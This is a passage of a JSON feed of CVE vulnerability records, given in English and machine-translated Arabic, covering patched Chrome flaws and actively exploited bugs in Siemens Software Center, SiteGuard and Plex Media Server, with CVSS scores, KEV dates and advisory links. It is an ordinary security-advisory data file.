عن بُعد يستغل الهندسة الاجتماعية بتجاوز قيود الوصول للنظام"},"summary":{"en":"Missing authorization in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)","ar":"يوجد غياب للمصادقة ضمن API في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47، مما يسمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بتجاوز قيود الوصول للنظام عبر إضافة Chrome مصممة خصيصًا. (مستوى خطورة أمان Chromium: متوسط)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/502040109","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113276","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:21Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Missing authorization in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to ob","ar":"غياب المصادقة ضمن Passwords في متصفح Google Chrome على نظام Android للإصدارات الأقدم من 156.0.8078.47 يسمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بالحصول على معلومات حساسة"},"summary":{"en":"Missing authorization in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","ar":"يوجد غياب للمصادقة ضمن Passwords في متصفح Google Chrome على نظام Android للإصدارات الأقدم من 156.0.8078.47، مما يسمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بالحصول على معلومات حساسة عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: متوسط)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/517809727","advisory"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113278","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-451","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:21Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"UI misrepresentation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to spoof UI element","ar":"سوء تمثيل واجهة المستخدم ضمن Extensions في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47 يسمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بانتحال عناصر واجهة المستخدم"},"summary":{"en":"UI misrepresentation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted Chrome extension. (Chromium security severity: Medium)","ar":"يوجد سوء تمثيل لواجهة المستخدم ضمن Extensions في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47، مما يسمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بانتحال عناصر واجهة المستخدم عبر إضافة Chrome مصممة خصيصًا. (مستوى خطورة أمان Chromium: متوسط)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/514080341","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113279","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:21Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a c","ar":"استخدام الذاكرة بعد تحريرها (Use after free) ضمن Accessibility في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47 يسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية"},"summary":{"en":"Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","ar":"توجد ثغرة استخدام الذاكرة بعد تحريرها ضمن Accessibility في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47، والتي تسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية (sandbox) عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: حرج)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/570093145","ref"]],"epss":0.0051,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113280","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-416","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:21Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Use after free in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted H","ar":"استخدام الذاكرة بعد تحريرها (Use after free) ضمن Paint في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47 يسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية"},"summary":{"en":"Use after free in Paint in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","ar":"توجد ثغرة استخدام الذاكرة بعد تحريرها ضمن Paint في متصفح Google Chrome للإصدارات الأقدم من 156.0.8078.47، والتي تسمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية داخل نطاق الحماية (sandbox) عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: حرج)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/570740320","ref"]],"epss":0.0051,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113264","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:20Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside","ar":"التحقق غير السليم من المدخلات في الإضافات Extensions في Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية محتملة بداخله"},"summary":{"en":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","ar":"التحقق غير السليم من المدخلات في الإضافات Extensions في Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بتنفيذ شيفرة عشوائية محتملة داخل صندوق الحماية (sandbox) عبر صفحة HTML معدة خصيصاً. (خطورة أمان Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/501786099","ref"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113263","cvss":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:20Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Missing authorization in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to obtain ","ar":"غياب المصادقة ضمن Core في متصفح Google Chrome على نظام Android للإصدارات الأقدم من 156.0.8078.47 يسمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بالحصول على بيانات عبر مصادر مختلفة"},"summary":{"en":"Missing authorization in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker leveraging social engineering to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","ar":"يوجد غياب للمصادقة ضمن Core في متصفح Google Chrome على نظام Android للإصدارات الأقدم من 156.0.8078.47، مما يسمح لمهاجم عن بُعد يستغل الهندسة الاجتماعية بالحصول على بيانات عبر مصادر مختلفة (cross-origin) عبر صفحة HTML مصممة خصيصًا. (مستوى خطورة أمان Chromium: متوسط)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/497026542","advisory"]],"epss":0.0047,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113265","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:20Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Missing authorization in BFCache in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to bypass ","ar":"غياب التفويض في BFCache في Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد اخترق عملية العارض بتجاوز عزل المواقع"},"summary":{"en":"Missing authorization in BFCache in Google Chrome prior to 156.0.8078.47 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)","ar":"أدى غياب التفويض في BFCache في Google Chrome قبل الإصدار 156.0.8078.47 إلى السماح لمهاجم عن بُعد اخترق عملية العارض بتجاوز عزل المواقع عبر صفحة HTML مصممة خصيصاً. (خطورة الأمان في Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/520017400","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113266","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-125","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:20Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Out of bounds read in ANGLE in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to read memory outside the sandbox via a c","ar":"قراءة خارج الحدود في ANGLE في Google Chrome على Android قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بقراءة الذاكرة"},"summary":{"en":"Out of bounds read in ANGLE in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","ar":"أدت القراءة خارج الحدود في ANGLE في Google Chrome على Android قبل الإصدار 156.0.8078.47 إلى السماح لمهاجم عن بُعد بقراءة الذاكرة خارج نطاق الحماية (sandbox) عبر صفحة HTML مصممة خصيصاً. (خطورة الأمان في Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/561499641","ref"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-113267","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-908","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-20T22:19:20Z","product":"Google Chrome","affected":[[" – <156.0.8078.47","156.0.8078.47"]],"title":{"en":"Uninitialized resource in Video in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to read memory inside the sandbox via a crafted HTML","ar":"مورد غير مُهيا في Video في Google Chrome قبل الإصدار 156.0.8078.47 سمح لمهاجم عن بُعد بقراءة الذاكرة"},"summary":{"en":"Uninitialized resource in Video in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","ar":"أدى وجود مورد غير مُهيا في Video في Google Chrome قبل الإصدار 156.0.8078.47 إلى السماح لمهاجم عن بُعد بقراءة الذاكرة داخل نطاق الحماية (sandbox) عبر صفحة HTML مصممة خصيصاً. (خطورة الأمان في Chromium: متوسطة)"},"refs":[["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","advisory"],["https://issues.chromium.org/issues/559707641","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-chrome"},{"id":"CVE-2026-110936","cvss":6.7,"vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-427","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-10-20T00:00:00Z","product":"Siemens Software Center","affected":[["0 – <V4.0.9.8","V4.0.9.8"]],"title":{"en":"Siemens Software Center Uncontrolled Search Path Element Vulnerability","ar":"ثغرة عنصر مسار البحث غير المتحكم فيه في Siemens Software Center"},"summary":{"en":"Siemens Software Center contains an uncontrolled search path element vulnerability that could allow an authenticated local attacker to place a specially crafted DLL in a directory that the application searches, leading to arbitrary code execution with the privileges of the affected application.","ar":"يحتوي Siemens Software Center على ثغرة عنصر مسار بحث غير متحكم فيه والتي قد تسمح لمهاجم محلي مصدق له بوضع ملف DLL معد خصيصاً في دليل تبحث فيه التطبيق، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية بصلاحيات التطبيق المتأثر."},"refs":[["https://productcert.siemens.com/productcert/html/ssa-580366.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-110936","advisory"],["https://productcert.siemens.com/news/2026/10/19/active-exploitation-of-cve-2026-110936-in-siemens-software-center/","advisory"],["https://cert-portal.siemens.com/productcert/html/ssa-580366.html","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-110936","ref"]],"epss":0.0097,"kevAdded":"2026-10-20T00:00:00Z","kevDue":"2026-11-03T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"تطبيق التخفيفات وفقاً لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر (انظر الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها لخدمات السحابة أو أوقف استخدام المنتج إذا كانت التخفيفات غير متوفرة. أصحاب المصلحة مسؤولون عن تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات الترقيع في BOD 26-04.","machineTranslated":true,"productSlug":"siemens-software-center"},{"id":"CVE-2026-106931","cvss":7.8,"vector":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-10-20T00:00:00Z","product":"EG Secure Solutions SiteGuard Server Edition","affected":[["Ver2.20",null]],"title":{"en":"EG Secure Solutions SiteGuard Server Edition OS Command Injection Vulnerability","ar":"ثغرة حقن أوامر نظام التشغيل في EG Secure Solutions SiteGuard Server Edition"},"summary":{"en":"EG Secure Solutions SiteGuard Server Edition contains an OS command injection vulnerability which may allow an attacker to execute arbitrary OS commands with root or SYSTEM privileges on the system running the affected product.","ar":"يحتوي منتج EG Secure Solutions SiteGuard Server Edition على ثغرة حقن أوامر نظام التشغيل والتي قد تسمح للمهاجم بتنفيذ أوامر نظام تشغيل تعسفية بصلاحيات root أو SYSTEM على النظام الذي يشغل المنتج المتأثر."},"refs":[["https://www.eg-secure.co.jp/siteguard/news/alert-202610-1","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-106931","advisory"],["https://jvn.jp/en/jp/JVN88474777/","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-106931","ref"]],"epss":0.0253,"kevAdded":"2026-10-20T00:00:00Z","kevDue":"2026-10-23T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 لتحديد أولويات تحديثات الأمان بناءً على المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية الصادرة عن وكالة CISA (راجع الرابط في الملاحظات). اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. يتحمل أصحاب المصلحة مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات التثحيح الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"eg-secure-solutions-siteguard-server-edition"},{"id":"CVE-2026-96656","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-73","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-20T00:00:00Z","product":"Plex Media Server","affected":[["0 – <1.43.3.10861","1.43.3.10861"]],"title":{"en":"Plex Media Server External Control of File Name or Path Vulnerability","ar":"ثغرة التحكم الخارجي في اسم الملف أو مساره في منتج Plex Media Server"},"summary":{"en":"Plex Media Server contains an external control of file name or path vulnerability which can allow an admin user to write arbitrary files that may be executed on load. This vulnerability can be chained with CVE-2026-96652, CVE-2026-96654, and CVE-2026-96655.","ar":"يحتوي منتج Plex Media Server على ثغرة تحكم خارجي في اسم الملف أو مساره والتي يمكن أن تسمح لمستخدم مشرف بكتابة ملفات عشوائية قد يتم تنفيذها عند التحميل. يمكن ربط هذه الثغرة بالثغرات CVE-2026-96652 وCVE-2026-96654 وCVE-2026-96655."},"refs":[["https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-96656","advisory"],["https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json","advisory"],["https://zmain.info/blog/plex2shell","advisory"],["https://www.boredhackerblog.info/2026/10/plex-vulnerabilities-being-exploited-in.html","advisory"],["https://forums.plex.tv/t/plex-media-server/30447/711","ref"],["https://www.cve.org/CVERecord?id=CVE-2026-96656","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-96656","ref"]],"epss":0.0179,"kevAdded":"2026-10-20T00:00:00Z","kevDue":"2026-10-23T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات وكالة CISA المعنونة بـ BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر ومتطلبات فرز الأدلة الجنائية الخاصة بـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"plex-media-server"},{"id":"CVE-2026-96655","cvss":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","cwe":"CWE-918","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-20T00:00:00Z","product":"Plex Media Server","affected":[["0 – <1.43.3.10861","1.43.3.10861"]],"title":{"en":"Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability","ar":"ثغرة تزوير الطلبات من جانب الخادم (SSRF) في منتج Plex Media Server"},"summary":{"en":"Plex Media Server contains a server-side request forgery (SSRF) vulnerability that could allow an authenticated user to request arbitrary internal or external addresses via the '/video/:/transcode/universal' path parameter. This vulnerability can be chained with CVE-2026-96652, CVE-2026-96654, and CVE-2026-96656.","ar":"يحتوي منتج Plex Media Server على ثغرة تزوير الطلبات من جانب الخادم (SSRF) والتي قد تسمح لمهاجم يملك حسابًا مصادقًا عليه بطلب عناوين داخلية أو خارجية عشوائية عبر محول المسار '/video/:/transcode/universal'. يمكن ربط هذه الثغرة بالثغرات CVE-2026-96652 وCVE-2026-96654 وCVE-2026-96656."},"refs":[["https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-96655","advisory"],["https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json","advisory"],["https://zmain.info/blog/plex2shell","advisory"],["https://forums.plex.tv/t/plex-media-server/30447/711","ref"],["https://www.cve.org/CVERecord?id=CVE-2026-96655","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-96655","ref"]],"epss":0.0164,"kevAdded":"2026-10-20T00:00:00Z","kevDue":"2026-11-03T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات وكالة CISA المعنونة بـ BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر ومتطلبات فرز الأدلة الجنائية الخاصة بـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"plex-media-server"},{"id":"CVE-2026-96654","cvss":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-84","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-20T00:00:00Z","product":"Plex Media Server","affected":[["0 – <1.43.3.10861","1.43.3.10861"]],"title":{"en":"Plex Media Server Improper Neutralization of Encoded URI Schemes in a Web Page Vulnerability","ar":"ثغرة التحييد غير السليم لمخططات URI المرمزة في صفحة ويب ضمن منتج Plex Media Server"},"summary":{"en":"Plex Media Server contains an improper neutralization of encoded URI schemes in a web page vulnerability that could allow an attacker to call other plugins' functions and supply their own parameters. This vulnerability can be chained with CVE-2026-96652, CVE-2026-96655, and CVE-2026-96656.","ar":"يحتوي منتج Plex Media Server على ثغرة تحييد غير سليم لمخططات URI المرمزة في صفحة ويب والتي قد تسمح لمهاجم باستدعاء وظائف الإضافات الأخرى وتزويدها بمعاملاته الخاصة. يمكن ربط هذه الثغرة بالثغرات CVE-2026-96652 وCVE-2026-96655 وCVE-2026-96656."},"refs":[["https://forums.plex.tv/t/important-security-update-for-plex-media-server-v1-43-2-and-earlier/942319","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-96654","advisory"],["https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json","advisory"],["https://zmain.info/blog/plex2shell","advisory"],["https://www.cve.org/CVERecord?id=CVE-2026-96654","ref"],["https://forums.plex.tv/t/plex-media-server/30447/711","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-96654","ref"]],"epss":0.0195,"kevAdded":"2026-10-20T00:00:00Z","kevDue":"2026-10-23T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات وكالة CISA المعنونة بـ BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر ومتطلبات فرز الأدلة الجنائية الخاصة بـ CISA. اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"plex-media-server"},{"id":"CVE-2026-96652","cvss":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","cwe":"CWE-918","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-10-20T00:00:00Z","product":"Plex Media Server","affected":[["0 – <1.43.3.10861","1.43.3.10861"]],"title":{"en":"Plex Media Server Server-Side Request Forgery (SSRF) Vulnerability","ar":"ثغرة تزوير الطلبات من جانب الخادم (SSRF) في Plex Media Server"},"summary":{"en":"Plex Media Server contains a server-side request forgery (SSRF) vulnerability which could allow an attacker using any X-Plex-Token value to include a full URL in the 'protocol' parameter and force the Plex server to POST to the attacker's chosen destination. This vulnerability can be chained with CVE-2026-96654, CVE-2026-96655, and CVE-2026-96656.","ar":"يحتوي Plex Media Server على ثغرة تزوير الطلبات من جانب الخادم (SSRF) والتي قد تسمح للمهاجم الذي يستخدم أي قيمة X-Plex-Token بتضمين عنوان URL كامل في معامل 'protocol' وإجبار خادم Plex على إرسال طلب POST إلى الوجهة التي يختارها المهاجم. يمكن دمج هذه الثغرة مع CVE-2026-96654 و CVE-2026-96655 و 